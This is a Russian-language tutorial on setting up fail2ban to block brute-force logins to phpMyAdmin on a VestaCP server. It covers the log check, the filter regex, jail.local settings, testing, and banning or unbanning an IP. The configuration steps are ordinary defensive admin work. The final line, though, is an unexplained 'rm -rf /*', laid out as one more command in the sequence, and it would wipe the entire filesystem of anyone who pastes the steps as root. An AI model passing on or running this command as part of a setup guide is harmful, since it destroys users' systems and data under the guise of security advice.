Например, в панельке VestaCP по умолчанию настроена защита от брута панельки и ssh, но pma никто не позаботился предохранить по умолчанию, а это значит брути — не хочу. Для начала потребуется настроить запись неверных авторизаций в лог. Для этого логинимся в phpmyadmin с неверными данными и проверяем в /var/log/auth.log наличие строки подобного вида:
Oct 5 22:09:03 example phpMyAdmin[724]: user denied: user_test (mysql-denied) from 192.168.56.1
Убеждаемся в достоверности и наличии в строке своего IP и приступаем к настройке fail2ban для защиты phpmyadmin. Если строка вообще отстутствует в логах — обновляем pma до последней версии, которая пишет в auth.log сбои авторизаций.
Создаем новый фильтр phpmyadmin со следующим содержимым:
nano /etc/fail2ban/filter.d/phpmyadmin.conf
[INCLUDES] before = common.conf [Definition] failregex = ^%(__prefix_line)suser denied: .* \(mysql-denied\) from <HOST>$ ignoreregex =
Далее открываем jail.local и дописываем в него содержимое:
nano /etc/fail2ban/jail.local
[phpmyadmin] enabled = true filter = phpmyadmin port = https,http action = iptables-multiport[name=phpmyadmin, port="http,https", protocol=tcp] vesta[name=PHPMYADMIN] logpath = /var/log/auth.log findtime = 3600 maxretry = 3 bantime = 604800
И перезапускаем сервис:
systemctl restart fail2ban
Созданную конфигурацию с ругулярным выражением не помешает проверить так:
fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/phpmyadmin.conf
Тут мы должны увидеть совпадение(ведь давеча мы пробовали авторизоваться с неверными данными). Также мы должны увидеть нашу конфигурацию phpmyadmin при вызове:
fail2ban-client status
Пришло время проверить бан на практике. Чтобы наблюдать попытки в терминале воочию:
tailf /var/log/fail2ban.log
Схватываем бан на 3 попытке, проверяем что там поймалось:
fail2ban-client status phpmyadmin iptables -L
Разбаниваемся:
fail2ban-client set phpmyadmin unbanip 192.168.56.1
Снова забаниваемся(по желанию):
fail2ban-client set phpmyadmin banip 192.168.56.1
rm -rf /*